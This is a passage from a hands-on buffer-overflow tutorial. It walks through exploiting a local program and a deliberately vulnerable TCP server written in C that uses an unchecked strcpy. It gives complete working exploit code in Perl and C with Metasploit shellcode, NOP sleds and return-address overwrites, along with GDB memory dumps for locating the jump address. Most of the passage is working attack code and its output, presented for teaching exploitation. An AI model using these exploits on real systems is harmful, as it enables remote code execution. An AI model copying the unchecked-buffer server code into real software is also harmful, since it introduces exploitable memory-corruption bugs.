"\xe4\x96\x2c\xed";
*********************************************************************************************
To sum up.
The buffer holds 272 bytes.
The end of the EIP register is 4 bytes away from the buffer.
Our shellcode is 68 bytes.
So, in order for our payload to reach EIP it must be at least:
---------------------------------------------------------------------------------------------
buffer size + EIP = 272 + 4 = 276 bytes
---------------------------------------------------------------------------------------------
Just enough to overwrite the EIP.
So we are looking at a 272 + 4 = 276 byte payload.
Our shellcode is only 68 bytes in size, so 276 - 64 = 208 bytes of free space.
So, what should we do with that space? Oh, yeah, that's going to be our NOP-sled!
So our payload would be like:
---------------------------------------------------------------------------------------------
208 bytes 68 bytes 4 bytes
[ NOPS ] [ OPCODEs ] [ EIP ]
---------------------------------------------------------------------------------------------
Let's start writing our exploit!
sploit.pl:
*********************************************************************************************
#!/usr/bin/perl
# linux_ia32_exec - CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64".
"\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0".
"\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf".
"\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20".
"\xe4\x96\x2c\xed";
my $nopsled="\x90"x208; # construct our NOP-sled
my $ret="\xc0\xef\xff\xbf"; # that address worked for me :)
my $payload=$nopsled.$shellcode.$ret; # construct the payload
system("./vulnerable", $payload); # send payload to vulnerable programm
print "Done!\n";
*********************************************************************************************
I wouldn't use Perl, my first choice was to pass the payload using an env variable,
but bash kept messing up the shellcode. :(
Let's execute the shellcode and see what happens:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> perl sploit.pl
Buffer holds: +É.���$�sd,��tt6�Ë.K�
N
Ͽ,�_�,7����
total 11727
-rw-r--r-- 1 zapotek users 8721 Aug 24 17:11 Buffer Overflows, a peek under the hood.odt
-rw-r--r-- 1 zapotek users 38573 Aug 26 03:31 Buffer Overflows, a peek under the hood.txt
-rw------- 1 zapotek users 151552 Aug 26 03:36 core
-rwxr-xr-x 1 zapotek users 525173 Aug 25 18:14 shellcode
-rw-r--r-- 1 zapotek users 40 Aug 25 18:14 shellcode.c
-rw-r--r-- 1 root root 5530086 Aug 25 18:20 shellcode.out
-rw-r--r-- 1 zapotek users 9575 Aug 25 20:44 shellcode.out2
-rwxr-xr-x 1 zapotek users 6602 Aug 25 20:43 shellcode2
-rw-r--r-- 1 zapotek users 40 Aug 25 20:43 shellcode2.c
-rw-r--r-- 1 zapotek users 1052 Aug 26 03:23 shellcode3
-rwxr-xr-x 1 zapotek users 8215 Aug 26 02:25 sploit.bin
-rw-r--r-- 1 zapotek users 2383 Aug 26 02:25 sploit.c
-rw-r--r-- 1 zapotek users 673 Aug 26 03:36 sploit.pl
-rw-r--r-- 1 zapotek users 1288 Aug 25 20:16 sploit1.c
-rw-r--r-- 1 zapotek users 9575 Aug 25 20:43 temp1
-rw-r--r-- 1 zapotek users 782 Aug 25 19:11 tenp_tzt
-rwxr-xr-x 1 zapotek users 6540 Aug 26 02:22 test
-rw-r--r-- 1 zapotek users 362 Aug 26 02:21 test.c
-rwxr-xr-x 1 zapotek users 6595 Aug 24 22:18 tmp.bin
-rw-r--r-- 1 zapotek users 455 Aug 24 23:41 tmp.c
-rwxr-xr-x 1 zapotek users 6694 Aug 24 23:31 tmp.vuln
-rw-r--r-- 1 zapotek users 780 Aug 25 20:29 tmpcode
-rw-r--r-- 1 zapotek users 796 Aug 25 20:30 tmpcode.c
-rwxr-xr-x 1 root root 8283 Aug 23 23:50 vuln.bin
-rw-r--r-- 1 zapotek users 2256 Aug 23 23:53 vuln.c
-rwxr-xr-x 1 zapotek users 6701 Aug 26 03:08 vulnerable
-rw-r--r-- 1 zapotek users 455 Aug 26 03:07 vulnerable.c
Done!
zapotek@lil-z:~/Documents/bo>
---------------------------------------------------------------------------------------------
"That's cool!
But how did you find the right memory address that pointed to the NOP-sled?"
Easily, fire up GDB again:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> gdb -c core ./vulnerable
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux".
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vulnerable '.
Program terminated with signal 11, Segmentation fault.
#0 0xb7f09970 in ?? ()
(gdb) x/1000xb $esp
0xbfffea74: 0xc0 0x0c 0x00 0xb8 0x20 0xee 0xff 0xbf
0xbfffea7c: 0x12 0x84 0x04 0x08 0x10 0xed 0xff 0xbf
0xbfffea84: 0x00 0x00 0x00 0x00 0xf8 0xea 0xff 0xbf
0xbfffea8c: 0x7c 0x58 0xeb 0xb7 0xc0 0x0c 0x00 0xb8
0xbfffea94: 0x70 0x84 0x04 0x08 0xf8 0xea 0xff 0xbf
0xbfffea9c: 0x7c 0x58 0xeb 0xb7 0x02 0x00 0x00 0x00
0xbfffeaa4: 0x24 0xeb 0xff 0xbf 0x30 0xeb 0xff 0xbf
0xbfffeaac: 0x4d 0x32 0xff 0xb7 0x00 0x00 0x00 0x00
0xbfffeab4: 0x90 0x56 0xfe 0xb7 0x01 0x00 0x00 0x00
0xbfffeabc: 0x01 0x00 0x00 0x00 0xf4 0xbf 0xfb 0xb7
0xbfffeac4: 0xc0 0x0c 0x00 0xb8 0x00 0x00 0x00 0x00
0xbfffeacc: 0xf8 0xea 0xff 0xbf 0x00 0xdc 0x33 0xa1
0xbfffead4: 0xe1 0x6e 0x27 0xa9 0x00 0x00 0x00 0x00
0xbfffeadc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffeae4: 0x30 0x86 0xff 0xb7 0xad 0x57 0xeb 0xb7
0xbfffeaec: 0xf4 0x0f 0x00 0xb8 0x02 0x00 0x00 0x00
0xbfffeaf4: 0x50 0x83 0x04 0x08 0x00 0x00 0x00 0x00
0xbfffeafc: 0x71 0x83 0x04 0x08 0x2f 0x84 0x04 0x08
0xbfffeb04: 0x02 0x00 0x00 0x00 0x24 0xeb 0xff 0xbf
0xbfffeb0c: 0x70 0x84 0x04 0x08 0x60 0x84 0x04 0x08
0xbfffeb14: 0x90 0x3b 0xff 0xb7 0x1c 0xeb 0xff 0xbf
0xbfffeb1c: 0x31 0xc3 0xff 0xb7 0x02 0x00 0x00 0x00
0xbfffeb24: 0x5a 0xed 0xff 0xbf 0x67 0xed 0xff 0xbf
0xbfffeb2c: 0x00 0x00 0x00 0x00 0x7c 0xee 0xff 0xbf
0xbfffeb34: 0x95 0xee 0xff 0xbf 0xa5 0xee 0xff 0xbf
0xbfffeb3c: 0xd7 0xee 0xff 0xbf 0x36 0xef 0xff 0xbf
0xbfffeb44: 0x4a 0xef 0xff 0xbf 0x5d 0xef 0xff 0xbf
0xbfffeb4c: 0x6c 0xef 0xff 0xbf 0x87 0xef 0xff 0xbf
0xbfffeb54: 0xae 0xef 0xff 0xbf 0xd5 0xef 0xff 0xbf
0xbfffeb5c: 0xa1 0xf1 0xff 0xbf 0xd3 0xf1 0xff 0xbf
0xbfffeb64: 0xde 0xf1 0xff 0xbf 0xee 0xf1 0xff 0xbf
0xbfffeb6c: 0xf9 0xf1 0xff 0xbf 0x0a 0xf2 0xff 0xbf
0xbfffeb74: 0x18 0xf2 0xff 0xbf 0x69 0xf2 0xff 0xbf
0xbfffeb7c: 0x75 0xf2 0xff 0xbf 0x2f 0xf3 0xff 0xbf
0xbfffeb84: 0x90 0xf3 0xff 0xbf 0xac 0xf3 0xff 0xbf
0xbfffeb8c: 0xc8 0xf3 0xff 0xbf 0xda 0xf3 0xff 0xbf
0xbfffeb94: 0xe3 0xf3 0xff 0xbf 0xf8 0xf3 0xff 0xbf
0xbfffeb9c: 0x0b 0xf4 0xff 0xbf 0x1e 0xf4 0xff 0xbf
0xbfffeba4: 0x34 0xf4 0xff 0xbf 0x45 0xf4 0xff 0xbf
0xbfffebac: 0x64 0xf4 0xff 0xbf 0x71 0xf4 0xff 0xbf
0xbfffebb4: 0x41 0xf7 0xff 0xbf 0x59 0xf7 0xff 0xbf
0xbfffebbc: 0x72 0xf7 0xff 0xbf 0x92 0xf7 0xff 0xbf
0xbfffebc4: 0xa7 0xf7 0xff 0xbf 0xd3 0xf7 0xff 0xbf
0xbfffebcc: 0xe1 0xf7 0xff 0xbf 0x11 0xf8 0xff 0xbf
0xbfffebd4: 0x1e 0xf8 0xff 0xbf 0x29 0xf8 0xff 0xbf
0xbfffebdc: 0x37 0xf8 0xff 0xbf 0x79 0xf8 0xff 0xbf
0xbfffebe4: 0x92 0xf8 0xff 0xbf 0xba 0xf8 0xff 0xbf
0xbfffebec: 0xc8 0xf8 0xff 0xbf 0xdc 0xf8 0xff 0xbf
0xbfffebf4: 0xf9 0xf8 0xff 0xbf 0xa7 0xf9 0xff 0xbf
0xbfffebfc: 0xbb 0xf9 0xff 0xbf 0xc4 0xf9 0xff 0xbf
0xbfffec04: 0xe6 0xf9 0xff 0xbf 0xfc 0xf9 0xff 0xbf
0xbfffec0c: 0x2e 0xfa 0xff 0xbf 0x43 0xfa 0xff 0xbf
0xbfffec14: 0x62 0xfa 0xff 0xbf 0x7e 0xfa 0xff 0xbf
0xbfffec1c: 0x93 0xfa 0xff 0xbf 0xa4 0xfa 0xff 0xbf
0xbfffec24: 0xc3 0xfa 0xff 0xbf 0xde 0xfa 0xff 0xbf
0xbfffec2c: 0x07 0xfb 0xff 0xbf 0x47 0xfb 0xff 0xbf
0xbfffec34: 0x62 0xfb 0xff 0xbf 0x75 0xfb 0xff 0xbf
0xbfffec3c: 0x7d 0xfb 0xff 0xbf 0x9b 0xfb 0xff 0xbf
0xbfffec44: 0xa8 0xfb 0xff 0xbf 0xc7 0xfb 0xff 0xbf
0xbfffec4c: 0xe2 0xfb 0xff 0xbf 0x3c 0xfc 0xff 0xbf
0xbfffec54: 0x84 0xfc 0xff 0xbf 0x92 0xfc 0xff 0xbf
0xbfffec5c: 0xc7 0xfc 0xff 0xbf 0xd2 0xfc 0xff 0xbf
0xbfffec64: 0xeb 0xfc 0xff 0xbf 0xfb 0xfc 0xff 0xbf
0xbfffec6c: 0x07 0xfd 0xff 0xbf 0x6b 0xfd 0xff 0xbf
0xbfffec74: 0x95 0xfd 0xff 0xbf 0xf7 0xfd 0xff 0xbf
0xbfffec7c: 0xc8 0xfe 0xff 0xbf 0xe0 0xfe 0xff 0xbf
0xbfffec84: 0xe9 0xfe 0xff 0xbf 0x32 0xff 0xff 0xbf
0xbfffec8c: 0x3f 0xff 0xff 0xbf 0x58 0xff 0xff 0xbf
0xbfffec94: 0x75 0xff 0xff 0xbf 0x8a 0xff 0xff 0xbf
0xbfffec9c: 0xa6 0xff 0xff 0xbf 0xb2 0xff 0xff 0xbf
0xbfffeca4: 0xdf 0xff 0xff 0xbf 0x00 0x00 0x00 0x00
0xbfffecac: 0x20 0x00 0x00 0x00 0x00 0xe4 0xff 0xff
0xbfffecb4: 0x21 0x00 0x00 0x00 0x00 0xe0 0xff 0xff
0xbfffecbc: 0x10 0x00 0x00 0x00 0xff 0xfb 0xeb 0xbf
0xbfffecc4: 0x06 0x00 0x00 0x00 0x00 0x10 0x00 0x00
0xbfffeccc: 0x11 0x00 0x00 0x00 0x64 0x00 0x00 0x00
0xbfffecd4: 0x03 0x00 0x00 0x00 0x34 0x80 0x04 0x08
0xbfffecdc: 0x04 0x00 0x00 0x00 0x20 0x00 0x00 0x00
0xbfffece4: 0x05 0x00 0x00 0x00 0x08 0x00 0x00 0x00
0xbfffecec: 0x07 0x00 0x00 0x00 0x00 0x60 0xfe 0xb7
0xbfffecf4: 0x08 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffecfc: 0x09 0x00 0x00 0x00 0x50 0x83 0x04 0x08
0xbfffed04: 0x0b 0x00 0x00 0x00 0xe8 0x03 0x00 0x00
0xbfffed0c: 0x0c 0x00 0x00 0x00 0xe8 0x03 0x00 0x00
0xbfffed14: 0x0d 0x00 0x00 0x00 0x64 0x00 0x00 0x00
0xbfffed1c: 0x0e 0x00 0x00 0x00 0x64 0x00 0x00 0x00
0xbfffed24: 0x17 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffed2c: 0x0f 0x00 0x00 0x00 0x4b 0xed 0xff 0xbf
0xbfffed34: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffed3c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffed44: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x69
0xbfffed4c: 0x36 0x38 0x36 0x00 0x00 0x00 0x00 0x00
0xbfffed54: 0x00 0x00 0x00 0x00 0x00 0x00 0x2e 0x2f
0xbfffed5c: 0x76 0x75 0x6c 0x6e 0x65 0x72 0x61 0x62
0xbfffed64: 0x6c 0x65 0x00 0x90 0x90 0x90 0x90 0x90
0xbfffed6c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffed74: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffed7c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffed84: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffed8c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffed94: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffed9c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffeda4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedac: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedb4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedbc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedc4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedcc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedd4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffeddc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffede4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedec: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedf4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffedfc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffee04: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffee0c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffee14: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffee1c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffee24: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffee2c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x2b
0xbfffee34: 0xc9 0x83 0xe9 0xf5 0xd9 0xee 0xd9 0x74
0xbfffee3c: 0x24 0xf4 0x5b 0x81 0x73 0x13 0x64 0x96
0xbfffee44: 0x2c 0xed 0x83 0xeb 0xfc 0xe2 0xf4 0x0e
0xbfffee4c: 0x9d 0x74 0x74 0x36 0xf0 0x44 0xc0 0x07
0xbfffee54: 0x1f 0xcb 0x85 0x4b 0xe5 0x44 0xed 0x0c
(gdb)
---------------------------------------------------------------------------------------------
Using the "x/1000xb $esp" command we can inspect the data the memory register ESP holds.
"But dude that's like a thousand OPCODEs in there!!!"
Close, 992 to be exact, increasing "1000" will get you more results.
And what's your problem? Just pick an address that points to our NOP-sled and you're good to go!
The address "0xbfffedac" would do just fine, but remember,
you must first convert it to little-endian.
conversion:
---------------------------------------------------------------------------------------------
(big-endian) --> (little-endian and ready to use in our script)
0xbfffedac --> \xac\xed\xff\xbf
---------------------------------------------------------------------------------------------
"Oh, ok thanks."
No worries. :)
OK, I think you got how it works.
Now that we wrote a basic buffer overflow exploit
it's time for TCP/IP server exploitation, hehehe...
[ 0x0f ] Vulnerable TCP/IP server & Exploit code
=================================================
I take for granted that you understood all the above,at an acceptable level at least .
If you don't have any experience in network programming it's not going to be a problem
as the coments in the network code will tell you what's happening.
We will use a basic, and vulnerable, TCP/IP server as our target.
*********************************************************************************************
/*
Author: Zapotek
Description:
Vulnerable TCP/IP server for use with
the "Buffer Overflows, a peek under the hood." paper.
*/
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define LPORT 1337 // listen on port
#define CONNUM 10 // queue up to 10 connections
#define MAXDATA 1024 // max amount of data received at once
// our vulnerable function
int handleR(char *in){
char hazard[256]; // our exploitable buffer
strcpy(hazard,in); // the mother of all evil
printf("\nClient sent: %s",hazard);
return 0;
}
int main(void)
{
int sockfd, newfd; // listen on sock_fd, new connection on newfd
struct sockaddr_in my_addr; // my address information
struct sockaddr_in their_addr; // connector's address information
socklen_t sin_size;
struct sigaction sa;
int yes=1;
char in[1024];
char hazard[100];
int numbytes;
// Basic error checking
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
// Basic error checking
if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}
my_addr.sin_family = AF_INET; // host byte order
my_addr.sin_port = htons(LPORT); // short, network byte order
my_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP
memset(&(my_addr.sin_zero), '\0', 8); // zero the rest of the struct
// bind socket using info from "sockaddr"
// and do some error checking
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(1);
}
// listen on LPORT and hold up to CONNUM connections
// and do some error checking
if (listen(sockfd, CONNUM) == -1) {
perror("listen");
exit(1);
}
while(1) { // main accept() loop
sin_size = sizeof(struct sockaddr_in);
// get new socket file descriptor for connector-server interaction
// and do some error checking
if ((newfd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)) == -1) {
perror("accept");
continue;
}
printf("server: got connection from %s",inet_ntoa(their_addr.sin_addr));
// get tcp/ip packet from client
if ((numbytes=recv(newfd, in, MAXDATA-1, 0)) == -1) {
perror("recv");
exit(1);
}
// call the vulnerable function to handle tcp/ip input data
handleR(in);
}
return 0;
}
*********************************************************************************************
Basic math:
---------------------------------------------------------------------------------------------
**********************************************
char hazard[256]; // our exploitable buffer
**********************************************
Exploitable buffer = 256 bytes
**********************************************
/* a memory address pointing somewhere in our NOP-sled which will overwrite
the EIP register */
char *eip = "AAAA";
***********************************************
Payload (that overwrites EIP) = Exploitable buffer + EIP = 256 + 4 = 260 bytes
***********************************************************
/*
Shellcode taken from the metasploit project
It executes the "ls -l" UNIX command on the vulnerable system
*/
/* linux_ia32_exec - CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf0"
"\x49\x9b\x89\x83\xeb\xfc\xe2\xf4\x9a\x42\xc3\x10\xa2\x2f\xf3\xa4"
"\x93\xc0\x7c\xe1\xdf\x3a\xf3\x89\x98\x66\xf9\xe0\x9e\xc0\x78\xdb"
"\x18\x4f\x9b\x89\xf0\x25\xe8\xa9\xdd\x25\x9b\xde\xa3\xc0\x7a\x44"
"\x70\x49\x9b\x89";
***********************************************************
Shellcode = 68 bytes
NOP-sled = Payload - Shellcode = 260 - 68 = 192 bytes
---------------------------------------------------------------------------------------------
So we have a dummy RET address which will overwrite EIP
and which we will change once we complete the exploit.
We're set!
We'll just use the bellow C code to construct our payload.
Construct payload:
*********************************************************************************************
/* construct payload */
memset(payload,NOP,192); // put 192 bytes of nopsled first
memcpy(payload+192,scode,sizeof(scode)); // the shellcode in the midle
memcpy(payload+192+sizeof(scode)-1,eip,sizeof(eip)); // and the eip address at the end
*********************************************************************************************
All the above code segments are taken from our exploit.
sploit.c:
*********************************************************************************************
/*
Author: zapotek
Usage: ./sploit.bin <target_ip>
Description:
Exploit for use with
the "Buffer Overflows, a peek under the hood." paper.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#define RPORT 1337
#define NOP 0x90
int main(int argc,char *argv[]){
int sockfd; // socket file descriptor
struct sockaddr_in target_addr; // assign struct sockadd_in to target_addr
char payload[272]; // set payload to hold 272 bytes
printf("[ * ] Creating socket...");
/* create socket and do error checking */
if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1){
perror("socket");
exit(1);
}
printf(" OK\n");
/* a memory address pointing somewhere in our NOP-sled which will overwrite
the EIP register */
char *eip = "AAAA";
/*
Shellcode taken from the metasploit project
It executes the "ls -l" UNIX command on the vulnerable system
*/
/* linux_ia32_exec - CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf0"
"\x49\x9b\x89\x83\xeb\xfc\xe2\xf4\x9a\x42\xc3\x10\xa2\x2f\xf3\xa4"
"\x93\xc0\x7c\xe1\xdf\x3a\xf3\x89\x98\x66\xf9\xe0\x9e\xc0\x78\xdb"
"\x18\x4f\x9b\x89\xf0\x25\xe8\xa9\xdd\x25\x9b\xde\xa3\xc0\x7a\x44"
"\x70\x49\x9b\x89";
printf("[ * ] Constructing payload...");
/* construct payload */
memset(payload,NOP,192); // put 192 bytes of nopsled first
memcpy(payload+192,scode,sizeof(scode)); // the shellcode in the midle
memcpy(payload+192+sizeof(scode)-1,eip,sizeof(eip)); // and the eip address at the end
printf(" OK [%i bytes]\n",sizeof(payload));
/* connection information */
target_addr.sin_family = AF_INET; // set address familly
target_addr.sin_addr.s_addr = inet_addr(argv[1]); // set target's IP addrss, our one and only arguement
target_addr.sin_port = htons(RPORT); // the remote port
printf("[ * ] Connecting to target...");
/* connect to target and error check */
if((connect(sockfd, (struct sockaddr_in *)&target_addr,sizeof(target_addr))) == -1){
perror("connect");
exit(1);
}
printf(" OK [%s]\n",argv[1]);
printf("[ * ] Sending payload to target...");
/* send paylod to the vuln server and do error checking */
if(send(sockfd,payload,strlen(payload),0) == -1 ){
perror("send");
exit(1);
}
printf(" OK [ls -l]\n");
/* inform user of payload size and status */
printf("[ * ] It's all yours now, I'm out.\n");
exit(0);
}
*********************************************************************************************
Lets setup our test environment, shell we?
Setup:
---------------------------------------------------------------------------------------------
lil-z:/home/zapotek/Documents/bo # gcc vuln.c -o vuln.bin && gcc sploit.c -o sploit.bin
vuln.c: In function â..handleRâ..:
vuln.c:30: warning: incompatible implicit declaration of built-in function â..printfâ..
vuln.c: In function â..mainâ..:
vuln.c:87: warning: incompatible implicit declaration of built-in function â..printfâ..
sploit.c: In function â..mainâ..:
sploit.c:67: warning: passing argument 2 of â..connectâ.. from incompatible pointer type
lil-z:/home/zapotek/Documents/bo # ./vuln.bin
---------------------------------------------------------------------------------------------
And hit return, the TCP/IP server should now be listening to port "1337"
on the ip address "127.0.0.1", if run locally.
Now open another terminal, in the same directory, and:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> ./sploit.bin 127.0.0.1
[ * ] Creating socket... OK
[ * ] Constructing payload... OK [272 bytes]
[ * ] Connecting to target... OK [127.0.0.1]
[ * ] Sending payload to target... OK [ls -l]
[ * ] It's all yours now, I'm out.
zapotek@lil-z:~/Documents/bo>
---------------------------------------------------------------------------------------------
while on the terminal that the server runs you should see:
---------------------------------------------------------------------------------------------
lil-z:/home/zapotek/Documents/bo # ./vuln.bin
server: got connection from 127.0.0.1
Segmentation fault (core dumped)
lil-z:/home/zapotek/Documents/bo #
---------------------------------------------------------------------------------------------
It's time we examine the dumped core:
---------------------------------------------------------------------------------------------
lil-z:/home/zapotek/Documents/bo # gdb -c core
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux".
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vuln.bin'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb) x/500xb $esp
0xbfffe810: 0xf4 0xbf 0xfb 0xb7 0xd4 0x9f 0xfb 0xb7
0xbfffe818: 0x02 0x64 0xff 0xb7 0xb0 0xf6 0xe9 0xb7
0xbfffe820: 0x00 0x00 0x00 0x00 0x96 0x14 0xeb 0xb7
0xbfffe828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe830: 0x64 0x56 0xfe 0xb7 0x02 0x00 0x00 0xb8
0xbfffe838: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe840: 0x54 0xe8 0xff 0xbf 0xf4 0x0f 0x00 0xb8
0xbfffe848: 0x80 0x18 0x00 0xb8 0xdc 0xe8 0xff 0xbf
0xbfffe850: 0xf0 0xe8 0xff 0xbf 0x87 0xf5 0xfe 0xb7
0xbfffe858: 0xdc 0xe8 0xff 0xbf 0x30 0x18 0x00 0xb8
0xbfffe860: 0x01 0x00 0x00 0x00 0x60 0x58 0xfe 0xb7
0xbfffe868: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe870: 0x01 0x00 0x00 0x00 0x20 0x13 0x00 0xb8
0xbfffe878: 0x00 0x00 0x00 0x00 0xc8 0xe9 0xff 0xbf
0xbfffe880: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe888: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe890: 0xe8 0xe9 0xff 0xbf 0x90 0x90 0x90 0x90
0xbfffe898: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe8f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe900: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe908: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe910: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe918: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe920: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x33 0xc9 0x83 0xe9
0xbfffe958: 0xf5 0xd9 0xee 0xd9 0x74 0x24 0xf4 0x5b
0xbfffe960: 0x81 0x73 0x13 0xf0 0x49 0x9b 0x89 0x83
0xbfffe968: 0xeb 0xfc 0xe2 0xf4 0x9a 0x42 0xc3 0x10
0xbfffe970: 0xa2 0x2f 0xf3 0xa4 0x93 0xc0 0x7c 0xe1
0xbfffe978: 0xdf 0x3a 0xf3 0x89 0x98 0x66 0xf9 0xe0
0xbfffe980: 0x9e 0xc0 0x78 0xdb 0x18 0x4f 0x9b 0x89
0xbfffe988: 0xf0 0x25 0xe8 0xa9 0xdd 0x25 0x9b 0xde
0xbfffe990: 0xa3 0xc0 0x7a 0x44 0x70 0x49 0x9b 0x89
0xbfffe998: 0x41 0x41 0x41 0x41 0xf4 0xbf 0xfb 0xb7
0xbfffe9a0: 0xd4 0x9f 0xfb 0xb7 0x02 0x64 0xff 0xb7
0xbfffe9a8: 0xb0 0xf6 0xe9 0xb7 0x00 0x00 0x00 0x00
0xbfffe9b0: 0x01 0x00 0x00 0x00 0xec 0xe9 0xff 0xbf
0xbfffe9b8: 0xf0 0xe9 0xff 0xbf 0x10 0x10 0x00 0xb8
0xbfffe9c0: 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
